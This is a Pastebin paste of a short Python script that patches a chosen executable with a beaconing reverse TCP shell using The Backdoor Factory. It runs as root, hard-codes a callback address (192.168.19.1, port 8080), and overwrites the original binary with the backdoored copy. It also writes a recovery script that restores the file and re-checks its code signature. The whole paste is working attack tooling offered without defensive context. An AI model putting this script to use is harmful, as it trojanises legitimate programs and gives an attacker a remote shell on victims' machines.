Advertisement
Guest User

Untitled

a guest
Apr 1st, 2015
226
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.05 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import sys
  4. import os
  5. import shutil
  6. import time
  7.  
  8. if os.uname()[1] == 'HostName': # Change This TO YOUR MASTER HOST
  9. print 'NOPE NOPE NOPE'
  10. sys.exit()
  11.  
  12. if len(sys.argv) != 2:
  13. print "Usage: ", sys.argv[0], "FILE_TO_PATCH"
  14. sys.exit()
  15.  
  16. if os.getuid() != 0:
  17. print "Run as root"
  18. sys.exit()
  19.  
  20.  
  21. os.chdir("/Users/test/the-backdoor-factory")
  22.  
  23. shutil.copy(str(sys.argv[1]), ".")
  24.  
  25. cmdToRun = "./backdoor.py -f " + str(os.path.basename(str(sys.argv[1]))) + " -s beaconing_reverse_shell_tcp -P 8080 -H 192.168.19.1 -q -F ALL"
  26.  
  27. print cmdToRun
  28.  
  29. os.system(cmdToRun)
  30.  
  31. time.sleep(1)
  32.  
  33. copycmd = "backdoored/" + os.path.basename(str(sys.argv[1]))
  34. print "Copying:", copycmd, 'to:', str(sys.argv[1])
  35.  
  36. time.sleep(2)
  37.  
  38. shutil.copy(copycmd, str(sys.argv[1]))
  39.  
  40. with open('recovery.sh', 'w') as f:
  41. recover_cmd = '#!/bin/bash\n' + '../knockknock/knockknock.py\n'
  42. recover_cmd += 'cp ' + os.path.basename(str(sys.argv[1])) + ' ' + str(sys.argv[1]) + '\ncodesign --verify -v ' + str(sys.argv[1]) + '\n'
  43. f.write(recover_cmd)
  44.  
  45. os.system('chmod +x recovery.sh')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement